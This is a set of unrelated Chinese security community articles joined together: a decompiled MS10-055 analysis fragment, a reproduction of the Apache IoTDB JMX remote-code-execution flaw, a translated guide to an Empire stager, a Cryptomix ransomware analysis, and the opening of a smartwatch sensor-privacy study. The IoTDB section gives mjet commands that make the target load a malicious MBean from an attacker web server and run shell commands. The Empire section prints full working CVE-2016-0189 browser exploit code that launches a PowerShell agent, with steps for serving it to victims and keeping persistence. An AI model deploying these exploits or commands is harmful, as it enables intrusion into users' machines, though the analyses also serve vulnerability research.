*(_DWORD *)(v7 + 52),
*(_DWORD *)(v7 + 48));
break;
case 0x30u:
(*(void (__stdcall **)(unsigned int, int, unsigned int, int, int, int, _BYTE *))(v7 + 8))(
v7,
v19 + 4,
v22 - 4,
a4,
a5,
a6,
a2);
break;
case 0x31u:
(*(void (__stdcall **)(unsigned int, int, unsigned int, int, int, int, _BYTE *))(v7 + 16))(
v7,
v19 + 4,
v22 - 4,
a4,
a5,
a6,
a2);
break;
case 0x32u:
(*(void (__stdcall **)(unsigned int, int, unsigned int, int, int, int, _BYTE *))(v7 + 12))(
v7,
v19 + 4,
v22 - 4,
a4,
a5,
a6,
a2);
break;
default:
break;
}
v20 = (unsigned __int8 *)(v24 + v27);
v23 = 1;
v19 += v24;
v27 += v24;
if ( v24 > 1 )
v23 = v24;
a1 -= v23;
}
a6 += a7 * (signed __int16)a2;
++v28;
v32 += 0x2000;
}
v30 += v31;
v29 -= v31;
v14 += v31;
v26 = v14;
}
while ( v28 < v25 );
}
result = 1;
}
}
return result;
}
## 漏洞修复
ms10-055
什么鬼...,居然不支持了,这里根据分析过程猜测
1. 限制编码条数量
2. 好像没了...因为就是因为编码条没做好检查,才造成的堆溢出
引用漏洞战争图
## 漏洞利用
暂时没看到相关漏洞利用\
## 总结
windbg此次用的知识与往常无差别,不进行总结了,而分析过程还是总结一下
1. 很考验耐性,我单步分析追了一晚上,追到复制那里,基于POC的过程复现最耗时间
2. 这跟做逆向有点类似,不过这里需要注意的是那些个结构跟长度
3. 尽信书则不如无书? 书里有几处地方我认为有些瑕疵,可能是作者故意留下的,也可能是未注意的,像取id这里,我认为就不应该照着那份文档分析
## 参考文章
<<漏洞战争>> | 社区文章 |
**作者：hu4wufu@白帽汇安全研究院
核对：r4v3zn@白帽汇安全研究院**
### 前言
#### JMX
`JMX`（`Java Management
Extensions`）是一种`Java`技术，主要为管理和监视应用程序、系统对象、设备（如打印机）和面向服务的网络提供相应的工具。也就是`java`版本的`SNMP`（简单网络管理协议），`JMX`与`SNMP`另一个共同点就是，`JMX`不仅能远程系统读取值，还可以用于调用远程系统的方法。
我们可以看一下整体架构：
从上面的架构图可以看到JMX主要分三层，分别是：
1、设备层（`Instrumentation Level`）
主要定义了信息模型。在`JMX`中，各种管理对象以管理构件的形式存在，需要管理时，向`MBean`服务器进行注册。该层还定义了通知机制以及一些辅助元数据类。
设备层其实就是和被管设备通信的模块，对于上层的管理者来说，`Instrumentation`
就是设备，具体设备如何通信，是采用`SNMP`,还是采用`ICMP`，是`MBean`的事情。
该层定义了如何实现`JMX`管理资源的规范。一个`JMX`管理资源可以是一个`Java`应用、一个服务或一个设备，它们可以用`Java`开发，或者至少能用`Java`进行包装，并且能被置入`JMX`框架中，从而成为`JMX`的一个管理构件(`Managed
Bean`)，简称`MBean`。管理构件可以是标准的，也可以是动态的，标准的管理构件遵从`JavaBeans`构件的设计模式；动态的管理构件遵从特定的接口，提供了更大的灵活性。
在`JMX`规范中，管理构件定义如下：它是一个能代表管理资源的`Java`对象，遵从一定的设计模式，还需实现该规范定义的特定的接口。该定义了保证了所有的管理构件以一种标准的方式来表示被管理资源。
管理接口就是被管理资源暴露出的一些信息，通过对这些信息的修改就能控制被管理资源。一个管理构件的管理接口包括：
1) 能被接触的属性值
2) 能够执行的操作
3) 能发出的通知事件
4) 管理构件的构建器
`Standard
MBean`是最简单的`MBean`，它管理的资源必须定义在接口中，然后`MBean`必须实现这个接口。它的命名也必须遵循一定的规范，例如我们的`MBean`为`Hello`，则接口必须为`HelloMBean`。
2、代理层（`Agent Level`）
`Agent`层
用来管理相应的资源，并且为远端用户提供访问的接口。`Agent`层构建在设备层之上，并且使用并管理设备层内部描述的组件。`Agent`层主要定义了各种服务以及通信模型。该层的核心是
`MBeanServer`，所有的`MBean`都要向它注册，才能被管理。注册在`MBeanServer`上的`MBean`并不直接和远程应用程序进行通信，他们通过
协议适配器（Adapter） 和 连接器（`Connector`） 进行通信。通常`Agent`由一个`MBeanServer`和多个系统服务组成。`JMX
Agent`并不关心它所管理的资源是什么。
3、分布服务层（`Distributed Service Level`）
分布服务层关心`Agent`如何被远端用户访问的细节。它定义了一系列用来访问`Agent`的接口和组件，包括`Adapter`和`Connector`的描述。
**MBean**
利用`JMX`，我们可以像托管`bean`一样来管理各种资源。托管`bean`（`MBean`）是遵循`JMX`标准的某些设计规则的`Java
Bean`类。`MBean`可以表示设备、应用程序或需要通过`JMX`管理的任何资源。您可以通过`JMX`来访问这些`MBean`，比如查询属性和调用`Bean`方法。
并不是所有的`java`类都能被管理，只有按照特定格式编写的`java`类才能被`JMX`管理。这种特定格式机制我们称为`MBean`。
`JMX`标准在不同的`MBean`类型之间有所差异，但是，我们这里只处理标准`MBean`。为了成为有效的`MBean`，`Java`类必须：
* 实现一个接口
* 提供默认的构造函数（不带任何参数）
* 遵循某些命名约定，例如实现`getter/setter`方法来读/写属性
创建一个`MBean`，首先需要定义一个接口。下面给出一个最简单的`MBean`示例：
package de.mogwailabs.MBeans;
public interface HelloMBean {
// getter and setter for the attribute "name"
public String getName();
public void setName(String newName);
// Bean method "sayHello"
public String sayHello();
}
下一步是为已定义的接口提供一个实现。注意，其名称应该始终与接口保持一致，除掉后缀`“MBean”`部分。
package de.mogwailabs.MBeans;
public class Hello implements HelloMBean {
private String name = "MOGWAI LABS";
// getter/setter for the "name" attribute
public String getName() { return this.name; }
public void setName(String newName) { this.name = newName; }
// Methods
public String sayHello() { return "hello: " + name; }
}
**MBean服务器**
`MBean`服务器是一种管理系统`MBean`的服务。开发人员可以按照特定的命名模式在服务器中注册`MBean`。`MBean`服务器将传入的消息转发给已注册的`MBean`。该服务还负责将消息从`MBean`转发给外部组件。
默认情况下，每个`Java`进程都会运行一个`MBean`服务器服务，我们可以通过`ManagementFactory.getPlatformMBeanServer();`来访问它。下面给出的示例代码将“连接”到当前进程的`MBean`服务器，并打印输出所有已注册的`MBean`：
package de.mogwailabs.MBeanClient;
import java.lang.management.ManagementFactory;
import javax.management.*;
public class MBeanClient {
publicstatic void main(String[] args) throws Exception {
// Connect to the MBean server of the current Java process
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
System.out.println( server.getMBeanCount() );
// Print out each registered MBean
for ( object object :server.queryMBeans(new objectName("*:*"), null) ) {
System.out.println( ((objectInstance)object).getobjectName() );
}
}
}
要想创建可以通过`MBean`服务器供外部调用的`MBean`实例，则需要使用`objectName`类完成相应的注册。每个`MBean`的名称，不仅要遵循对象命名约定，同时，还必须是独一无二的。名称分为域（通常是包）名和对象名两个部分。对象名称应包含`“type”`属性。如果给定域中只能有一个给定类型的实例，那么除了`type`属性之外，通常不应该有任何其他属性。
对于已经实现的`MBean`，我们需要`MBeanServer`。可以将`MBeanServer`理解为一个`MBean`的仓库，需要监控的`MBean`都需要先注册到仓库中。向`MBeanServer`注册`MBean`有两种方式，一是本地注册，二是远程注册。远程注册就为我们执行任意代码提供了可能。然后`jdk`有一些`MBean`，其中有一个`MBean`叫`mlet`。让我们能够在本地向远端注册`MBean`。
#### 漏洞概况
在`Apache IoTDB
0.9.0`到`0.9.1`和`0.8.0`到`0.8.2`中发现了一个问题。在启动`IoTDB`时，`JMX`端口`31999`无需任何认证即可暴露，然后客户端可以远程执行代码。
这个漏洞原理是基于`RMI`的`JMX`服务，攻击者可以远程注册一个恶意的 `MBean`，再去调用里面的用于执行命令的方法达到攻击效果。
首先是`MBeanServer`提供了一套远程注册`MBean`的机制，本地向`MBeanserver`注册一个`MBean`，也就是`Mlet`，`Mlet`是实现了一个函数`getMBeansFromURL(url)`，这个函数能够加载并实例化我们指定的远程`MBean`，从而导致了我们的恶意`payloadMBean`被加载注册到`MBeanServer`上，导致任意命令执行。
然后让目标机远程加载我们部署的恶意`MBean`，并在目标机上创建这个`MBean`，然后就可以用`JMX`协议控制这个恶意的`MBean`，通过`Runtime`类的`exec`方法执行命令。
### 环境准备
测试环境：`JDK 1.8.0_131`、`jython2.7.0`、`apache-iotdb-0.9.0`
`iotdb`下载地址：<https://archive.apache.org/dist/incubator/iotdb/>
`poc`下载地址：<https://github.com/mogwailabs/mjet>
这里`iotdb`可以下载源码调试，本文采取的是远程调试。
`sbin`目录下的`start-server.sh`配置：
`idea`配置：
这里`poc`使用了`jython`的环境进行调试，先在历史版本下载所需要的`jython`的版本。
下载地址：<https://search.maven.org/artifact/org.python/jython-installer>
然后安装后配置`idea`，为`Jython`项目配置环境。打开`idea`，打开`Preferences`在`Plugins`下，搜索安装插件`python`，点击`install`：
然后就可以创建`jython`项目了。
我们将恶意的`jar`包和`mejt.py`拷贝进去。
配置`poc`如下：
### 漏洞复现
**poc：**
java -jar jython-standalone-2.7.0.jar mjet.py 10.10.10.182 31999 install super_secret http://10.10.10.182:8000/ 8000
java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 31999 command super_secret "ls -l"
首先部署恶意`MBean`，第一个`ip`是易受攻击者`ip`，运行着易受攻击的`JMX`服务，第二个`ip`是攻击者的`ip`，`JMX`服务将连接到攻击者的`Web`服务，以下载有效载荷`jar`文件，`mjet`将在端口`8000`上启动必要的`Web`服务。
成功安装`MBean`后，默认密码将改为命令行提供的密码`super_secret`
hu4wufu@bogon mjet-master % java -jar jython-standalone-2.7.0.jar mjet.py 10.10.10.182 31999 install super_secret http://10.10.10.182:8000/ 8000
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.10.10.182:31999/jmxrmi
[+] Connected: rmi://10.10.10.182 2
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.10.10.182:8000/
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.10.10.182 - - [10/Sep/2020 15:55:33] "GET / HTTP/1.1" 200 - 10.10.10.182 - - [10/Sep/2020 15:55:33] "GET /azmzjazz.jar HTTP/1.1" 200 - [+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
安装有效负载后，我们执行`OS`命令，在目标中运行命令`“ls -l”`
hu4wufu@bogon mjet-master % java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 31999 command super_secret "ls -l"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:31999/jmxrmi
[+] Connected: rmi://10.10.10.182 3
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -l
total 56
drwxr-xr-x@ 3 hu4wufu staff 96 9 7 21:43 data
-rw------- 1 hu4wufu staff 165 9 7 15:02 nohup.out
-rwx------@ 1 hu4wufu staff 2002 11 20 2019 start-client.bat
-rwx------@ 1 hu4wufu staff 1556 9 8 18:14 start-client.sh
-rwx------@ 1 hu4wufu staff 3126 9 8 16:36 start-server.bat
-rwx------@ 1 hu4wufu staff 2054 9 9 14:41 start-server.sh
-rwx------ 1 hu4wufu staff 1034 8 26 2019 stop-server.bat
-rwx------ 1 hu4wufu staff 999 8 26 2019 stop-server.sh
### 漏洞分析
我们先来看一下远程注册`MBean`的过程，这里`payload`使用的是`jython`环境。
首先来解释一下`poc`，每一个`MBean`都需要实现一个接口，而且这个接口的命名是有讲究的，必须以`MBean`结尾，例如这里是编写了一个`MogwailLabsPayloadMBean`接口，然后我们需要实现这个`MBean`，同样这个实现的命名是去掉对应接口的的`MBean`后缀，也就是`MogwailLabsPayload`。在`MogwailLabsPayload`里边的方法，我们注册到`MBeanServer`后面可以随便调用。
根据`poc`，我们来看一下`mjet.py`的`installMode()`函数，往`JMX`里边注册`mjet`。
跟进`installMode()`函数，开始连接`JMX`服务。
跟进`connectToJMX()`函数，这里首先创建`SSL`连接，然后判断`jmxmp`的类型，这里可知是`jxmrmi`，然后就是确定`JMX`的地址和端口。这里一开始将我们设置的参数带入，包括设置的密码，以及`payload`的`url`地址和端口，还有就是就是`JMX`服务地址和端口。
`bean_server`创建结束，主要作用是与`iotDB`里边的`JMX`通信。
接下来跟进去`mjet.py`的`installMBean()`函数，这里`JMX`开始在目标服务器上创建`MBeanjavax.management.loading.MLet`的实例，（然后调用`MLet`实例的`getMBeansFromURL`方法，将`Web`服务器`URL`作为参数进行传递。`JMX`服务将连接到`http`服务器装载的恶意`MBean`对象，也就是事先准备好的`MogwaiLabsPayload`。每个`MBean`都需要都需要一个接口，而且这个接口的命名必须要以`MBean`结尾。
开始加载远程的一个恶意的`MBean`。进行一个远程的方法调用，创建一个`javax.management.loading.MLet`的类对象。
我们跳到了`iotDB`里边，来看一下如何创建一个的`MLet`，最早是调用了`javax.management.remote.rmi.RMIConnectionImpl:239$createMBean()`方法
可以看到传递过来的方法对象，以及`rmi`服务地址。
我们进入`javax.managment.remote.rmi.RMIConnectionImpl:1309$doOperation()`，接下来就是对参数进行操作。
跟进去`doOperation()`方法，`operation`为`3`，调用`MBeanServer.createMBean()`方法。
直接跟进`javax.management.loading.MLet.java`，调用`mlet`的构造方法，开始实例化一个`Mlet`的对象。
加载完成`javax.management.loading.MLet`，开始调用`MBean`实例的`getMBeansFromURL`方法，将`Web`服务器`URL`作为参数进行传递。`JMX`服务将从存放恶意类的`http`服务器上解析恶意的`MBean`，装载恶意的`MBean`对象，也就是事先准备好的`MogwaiLabsPayload`。
同样进行`javax.management.remote.rmi.RMIConnectionImpl$PrivilegedOperation`的操作，跟进，我们跟到`javax.management.remote.rmi.RMIConnectionImpl$doOperation()`，这里获取`MBeanServer的getdefaultdomain()`，也就是返回`MBean`的默认域。
`com.sun.jmx.interceptor.DefaultMBeanServerInterceptor:1088`，这里`MLet`指定的`MBean`被实例化，并在`MBean`服务器中注册。
最终在`com.sun.jmx.mbeanserver.Repository:489`注册了类型为`Mlet`的恶意的`MBean`。
`operation`为`14`即`javax.management.remote.rmi.RMIConnectionImpl:1468`然后远程调用`Mlet`的`getMBeansFromURL`方法。
`com.sun.jmx.mbeanserver.JmxMBeanServer:801`
成功加载恶意的`MBean`。
接着往下，根据`poc`，开始修改默认密码为一开始命令行输入的参数。
`javax.management.remote.rmi.RMIConnectionImpl$doOperation:1468`
同样先获取恶意`MBean`的实例，反射调用远程方法，这里是`MogwaiLabsPayload`的`changePassword`方法。
开始在`MBeanServer`的注册中心检索名称为`MogwaiLabs`的对象，也就是我们之前加载进去的恶意`MBean`。
至此，恶意的`MBean`已经加载到服务器上，恶意`MBean`可通过`JMX`获取，攻击者可通过密码执行任意命令。
接下来我们来看下命令执行的过程，首先连接`JMX`服务，传入要执行的命令和之前设置的密码。
然后调用`getObjectInstance()`创建之前加载的恶意类的实例。
然后反射远程调用任意方法，这里调用的是`MogwaiLabsPayload`的`runCMD`方法。
最终在调用`ProcessBuilder()`方法执行系统命令。
### 总结
`JMX`漏洞是一个通用型漏洞，如果遇到`java`系统开启`JMX`服务的都可以使用该漏洞`poc`测试一下。
在`iotDB`的`0.9.2`版本以后是默认设置`JMX_LOCAL="true"`关闭远程访问，当想开启远程连接的时候，`JMX_local`改成`false`，这时候就采用用户名密码控制。
所以启用身份验证来保护`JMX`服务是非常重要的，否则的话，`JMX`服务就很容易被攻击者入侵。实际上，`JMX`自身已经提供了这种功能，包括对`TLS`加密连接的支持。
除了启用身份验证之外，还应该确保`JDK`环境是最新的，因为攻击者可能会尝试使用`Java`反序列化漏洞来利用底层`RMI`实现；如果没有及时更新的话，启用了身份验证也无济于事。
### 参考
* <https://nosec.org/home/detail/2544.html>
* <https://github.com/mogwailabs/mjet>
* <https://github.com/k1n9/k1n9.github.io/blob/aeeb609fe6a25d67bc2dc5f990a501368fb25409/_posts/2017-08-24-attack-jmx-rmi.md>
* [https://webcache.googleusercontent.com/search?q=cache%3Ahttps%3A%2F%2Fwww.optiv.com%2Fblog%2Fexploiting-jmx-rmi&oq=cache%3Ahttps%3A%2F%2Fwww.optiv.com%2Fblog%2Fexploiting-jmx-rmi&aqs=chrome%E2%80%A669i57j69i58.1641j0j7&sourceid=chrome&ie=UTF-8](https://webcache.googleusercontent.com/search?q=cache%3Ahttps%3A%2F%2Fwww.optiv.com%2Fblog%2Fexploiting-jmx-rmi&oq=cache%3Ahttps%3A%2F%2Fwww.optiv.com%2Fblog%2Fexploiting-jmx-rmi&aqs=chrome%E2%80%A669i57j69i58.1641j0j7&sourceid=chrome&ie=UTF-8)
* <https://github.com/Maskhe/vuls/tree/master/apache_solr/cve-2019-12409>
* <https://mp.weixin.qq.com/s/FtXFO1m0me4WErvj141nQQ>
* <https://www.cnblogs.com/trust-freedom/p/6842332.html>
* * * | 社区文章 |
# 利用Powershell Empire和CVE-2016-0189攻击用户的IE浏览器
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://www.cgsec.co.uk/powershell-empire-cve-2016-0189-profit/>
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
Empire（http://www.powershellempire.com/）是一个PowerShell后期漏洞利用代理工具，它建立在密码学、安全通信和灵活的架构之上。Empire实现了无需powershell.exe就可运行PowerShell代理的功能，它可以快速部署后期漏洞利用模块，并且能够躲避网络检测。
因此，Powershell
Empire是我们最喜欢的一款工具,尤其是当目标用户在我们的活动范围内时。我们通常使用Metasploit和Empire的组合来完成工作,即结合浏览器漏洞利用和Empire内的标准操作进行。
不过，在最近的一个测试中，我们没有使用MSF，而是使用了Empire中的一个新stager，该stager能够利用漏洞CVE-2016-0189(也称为vbscript_godmod，是一个
IE 游览器的脚本引擎漏洞)来攻击目标用户的IE浏览器（Internet explorer
9-11）。这是近6个月以来我们的首选利用,而且最近我们已经开始开发利用工具。如果成功的话,可以在保证硬盘数据不丢失的情况下启动powershell，同时将代理连接到Empire。
**利用Powershell Empire和CVE-2016-0189攻击用户的IE浏览器**
下面是该新stager的Python代码ms16.py：
from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'MS16-051 IE RCE',
'Author': ['www.cgsec.co.uk'],
'Description': ('Leverages MS16-051 to execute powershell in unpatched browsers. This is a file-less vector which works on IE9/10/11 and all versions of Windows'),
'Comments': [
'Target will have to open link with vulnerable version of IE.'
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
'StagerRetries' : {
'Description' : 'Times for the stager to retry connecting.',
'Required' : False,
'Value' : '0'
},
'OutFile' : {
'Description' : 'File to output HTML to, otherwise displayed on the screen.',
'Required' : True,
'Value' : ''
},
'Base64' : {
'Description' : 'Switch. Base64 encode the powershell output.',
'Required' : True,
'Value' : 'True'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
listenerName = self.options['Listener']['Value']
base64 = self.options['Base64']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
stagerRetries = self.options['StagerRetries']['Value']
encode = False
if base64.lower() == "true":
encode = True
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
code = "<html>n"
code += "<head>n"
code += "<meta http-equiv="x-ua-compatible" content="IE=10">n"
code += "</head>n"
code += "<body>n"
code += " <script type="text/vbscript">n"
code += " Dim awn"
code += " Dim plunge(32)n"
code += " Dim y(32)n"
code += " prefix = "%u4141%u4141"n"
code += " d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"n"
code += " b = String(64000, "D")n"
code += " c = d & bn"
code += " x = UnEscape(c)n"
code += " n"
code += " Class ArrayWrappern"
code += " Dim A()n"
code += " Private Sub Class_Initializen"
code += " ReDim Preserve A(1, 2000)n"
code += " End Subn"
code += " n"
code += " Public Sub Resize()n"
code += " ReDim Preserve A(1, 1)n"
code += " End Subn"
code += " End Classn"
code += " n"
code += " Class Dummyn"
code += " End Classn"
code += " n"
code += " Function getAddr (arg1, s)n"
code += " aw = Nulln"
code += " Set aw = New ArrayWrappern"
code += " n"
code += " For i = 0 To 32n"
code += " Set plunge(i) = sn"
code += " Nextn"
code += " n"
code += " Set aw.A(arg1, 2) = sn"
code += " n"
code += " Dim addrn"
code += " Dim in"
code += " For i = 0 To 31n"
code += " If Asc(Mid(y(i), 3, 1)) = VarType(s) Thenn"
code += " addr = strToInt(Mid(y(i), 3 + 4, 2))n"
code += " End Ifn"
code += " y(i) = Nulln"
code += " Nextn"
code += " n"
code += " If addr = Null Thenn"
code += " document.location.href = document.location.hrefn"
code += " Returnn"
code += " End Ifn"
code += " getAddr = addrn"
code += " End Functionn"
code += " n"
code += " Function leakMem (arg1, addr)n"
code += " d = prefix & "%u0008%u4141%u4141%u4141"n"
code += " c = d & intToStr(addr) & bn"
code += " x = UnEscape(c)n"
code += " n"
code += " aw = Nulln"
code += " Set aw = New ArrayWrappern"
code += " n"
code += " Dim on"
code += " o = aw.A(arg1, 2)n"
code += " n"
code += " leakMem = on"
code += " End Functionn"
code += " n"
code += " Sub overwrite (arg1, addr)n"
code += " d = prefix & "%u400C%u0000%u0000%u0000"n"
code += " c = d & intToStr(addr) & bn"
code += " x = UnEscape(c)n"
code += " n"
code += " aw = Nulln"
code += " Set aw = New ArrayWrappern"
code += " n"
code += " n"
code += " aw.A(arg1, 2) = CSng(0)n"
code += " End Subn"
code += " n"
code += " Function exploit (arg1)n"
code += " Dim addrn"
code += " Dim csessionn"
code += " Dim olescriptn"
code += " Dim memn"
code += " n"
code += " n"
code += " Set dm = New Dummyn"
code += " n"
code += " addr = getAddr(arg1, dm)n"
code += " n"
code += " mem = leakMem(arg1, addr + 8)n"
code += " csession = strToInt(Mid(mem, 3, 2))n"
code += " n"
code += " mem = leakMem(arg1, csession + 4)n"
code += " olescript = strToInt(Mid(mem, 1, 2))n"
code += " overwrite arg1, olescript + &H174n"
code += " Set Object = CreateObject("Wscript.Shell")n"
code += " Object.run(""
code += launcher + "")n"
code += " End Functionn"
code += " n"
code += " Function triggerBugn"
code += " aw.Resize()n"
code += " Dim in"
code += " For i = 0 To 32n"
code += " ' 24000x2 + 6 = 48006 bytesn"
code += " y(i) = Mid(x, 1, 24000)n"
code += " Nextn"
code += " End Functionn"
code += " </script>n"
code += " n"
code += " <script type="text/javascript">n"
code += " function strToInt(s)n"
code += " {n"
code += " return s.charCodeAt(0) | (s.charCodeAt(1) << 16);n"
code += " }n"
code += " function intToStr(x)n"
code += " {n"
code += " return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);n"
code += " }n"
code += " var o;n"
code += " o = {"valueOf": function () {n"
code += " triggerBug();n"
code += " return 1;n"
code += " }};n"
code += " setTimeout(function() {exploit(o);}, 50);n"
code += " </script>n"
code += "</body>n"
code += "</html>"
return code
接下来，我们就对这个新的利用做一个简单的介绍：
首先，我们需要获得Empire,可以从Github上下载，下载地址为：
<https://github.com/PowerShellEmpire/Empire>
接下来，我们需要安装Apache2，它可以把索引页直接导向/var/www/html。这一步是可选的，因为大多数人可能想要改变输出,用于其他利用或者逃避检测。
然后，添加我们的新stager，它位于/lib/stagers下，运行Empire的install.sh脚本来启动并运行它。如果你是在Ubuntu上进行操作,那么在运行该脚本之前你需要手动安装pip。
在做好前面的准备工作之后，我们就可以启动Empire了。
如果一切正常的话，我们应该能够使用“stager
ms16”。本文只是简单地将输出文件设置到/var/www/html/index.html，然后引导目标到该html页面，如下图所示。
高级一些的用户可能想为不同的用户建立一些更复杂的服务或躲避检测机制,不过这超出了本文的范围，本文只是做出一个简单的介绍。
此外，我还设置了一个对端口443的侦听器,希望绕过某些防火墙和逃避一些检测机制。
最后，当有人使用一个含有漏洞CVE-2016-0189的IE浏览器访问你的服务器时，该利用就会触发，你就会得到一个新的Empire代理。另外，使用持久性模块创建一个计划任务可以确保不会在重启之后失去访问权限。这些可以通过将代理设置为自动运行来实现。
最后声明，本文只是提供了一个利用的简单介绍，仅供安全学习，禁止非法使用！
**也提醒用户抓紧时间对IE浏览器进行漏洞修复 ，微软已经发布了CVE-2016-0189漏洞的修复补丁。** | 社区文章 |
**概述**
最近，国外MalwareHunterTeam再次发现Cryptomix勒索病毒最新变种，千里目安全实验室EDR安全团队第一时间拿到相关的样本，发现这次Cryptomix勒索病毒最新的变种采用RSA1024加密算法，将系统中的大部分文档文件加密为.MOLE66后缀的文件，然后对用户进行勒索。
Cryptomix勒索病毒家族在过年的一两年时间里，不变有新的变种出现，加密后的文件后缀名包括“XZZX””X1881””SHARK””SYSTEM”等多达数十种不同的变种，是一款非常活跃流行的勒索病毒家族，最新的变种，勒索邮件地址也发生了改变，同时此次发现的勒索病毒最新变种会加密用户电脑共享目录文件夹下的文件。
当用户点击此病毒后，病毒开始加密系统里的大部分文档文件，然后在相应的目录生成勒索信息的TXT文件，如图所示：
**病毒分析**
**样本主体分析**
(1)拷贝自身到C:\ProgramData\BCC6F26321.exe，并进行相应的持久化操作，添加到自启动注册表项，如下图所示：
相关的反汇编代码如下：
(2)创建互斥变量，防止病毒重复运行感染，如下图所示：
(3)停止VVS服务，如下图所示：
(4)删除相应的卷影等操作，如下图所示：
(5)RSA1024公钥的保存与读取，如果用户电脑中存在公钥文件则进行读取加密公钥，再进行公钥对比，如下图所示：
相应的公钥：
\-----BEGIN PUBLIC KEY-----
**MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCpEnzYAtPzcmKnw41bLkkkDDmZ1YB4weOpyx0lY8gVl0gvveTMKhmhYNzjc5uQfXH3fbGmbbdELle/u7YsdXkuNHRQThnFfs+q7SIw1nibfYa4c9KA4ftfr69dZTt4T/RzRzsISVNU1Q6me59k9bBqxgiyDRjJhl79BT65Ggn+uQIDAQAB**
\-----END PUBLIC KEY-----
(6)遍历磁盘文件进行加密操作，如下图所示：
(7)同时加密共享目录文件夹的文件，如下图所示：
(8)加密完成之后，在相应的目录下写入解密帮助文件:_HELP _INSTRUCTIONS_.TXT，如下图所示：
(9)在进行加密文件操作的时候，如果遇到下面这些文件，则不进行加密，保证用户电脑正常运行，如下图所示：
不加密的文件类型和目录，如下：
**_HELP _INSTRUCTIONS_.TXT
Ntldr
NTLDR
.MOLE66后缀的文件（已加密的文件）
NTDETECT.COM
ntdetect.com
Desktop目录
DESKTOP目录**
(10)通过GUID得到相应加密文件后的文件名，然后加上后缀.MOLE66，如下图所示：
(11)加密的过程使用微软提供的相关函数，进行RSA1024加密算法，如下图所示：
(12)相关的勒索信息帮助文档，如下图所示：
勒索的邮件再次发生了改变，邮箱地址为： **[email protected]**
**传播方式**
这个勒索病毒主要通过邮件、漏洞、垃圾网站的方式进行传播，其不具备横向感染的能力，不会能局域网的其他设备发起相应的攻击，但是病毒会加密共享目录文件夹下的文件。
**加密算法**
该勒索病毒最新变种采用RSA1024加密算法加密文件，目前暂没有相应的解密工具。
**预防措施**
千里目安全实验室提醒用户，日常防范措施：
**1.不要点击来源不明的邮件以及附件，不从不明网站下载相关的软件
2.及时给电脑打补丁，修复漏洞
3.对重要的数据文件定期进行非本地备份
4.安装专业的终端/服务器安全防护软件
5.定期用专业的反病毒软件进行安全查杀
6.最新的Cryptomix勒索病毒变种会加密用户的共享目录文件下的文件，建议用户关闭共享目录文件
7.尽量关闭不必要的文件共享权限以及关闭不必要的端口，如：445,135,139,3389等** | 社区文章 |
# 黑进智能手表-可穿戴设备的Cyberphysical风险
|
##### 译文声明
本文是翻译文章，文章来源：https://securelist.com/
原文地址：<https://securelist.com/trojan-watch/85376/>
译文仅供参考，具体内容表达以及含义原文为准。
我们将继续研究物联网设备如何扩大对用户的日常生活及其信息安全的影响。在我们[以前的研究](https://securelist.ru/50-hashes-per-hour/30782/)中，我们谈到了使用单板微型计算机截取认证数据的方法。而这次，我们关注的是可穿戴设备：智能手表和健身追踪器，或者更确切地说，我们关注它们内部的加速度计和陀螺仪。
从围绕[Strava](https://labs.strava.com/heatmap)的一些消息可以知道，即使不应公开的那些关于用户物理活动的非个人数据也可能被公之于众。但从个人层面上看，这件事的风险更为严重，因为这些智能设备能够追踪到您在ATM上输入PIN码、登录服务或解锁智能手机的那一刻。
在此次研究中，我们研究了可穿戴设备内的分析信号如何为潜在入侵者创造入侵机会。但研究结果让人大失所望：尽管从我们对嵌入式传感器的研究看来，信号并不能和“传统的”键盘记录器相提并论，但这仍可以用来构建用户的行为分析并检测关键数据的输入。这种分析可以依靠在用户设备上直接运行的合法应用轻易构建，这强化了网络犯罪分子渗透受害者隐私的能力，并有助于访问他们所在公司的内部网络。
所以，先来看看最重要的内容。
## 用户行为分析
当人们听到“智能可穿戴设备”这个词时，他们很可能会想到微型数码产品。然而，重要的是要了解大多数智能手表是Cyberphysical系统，因为它们配备了用于测量加速度（加速度计）和旋转（陀螺仪）的传感器，这些便宜而微小的微型电路也经常包含磁场传感器（磁力计）。如果将这些带有用户信息的传感器信号连续记录下来的话可以发现什么？恐怕得到的结果远远超过这些小工具的所有者本想要的。
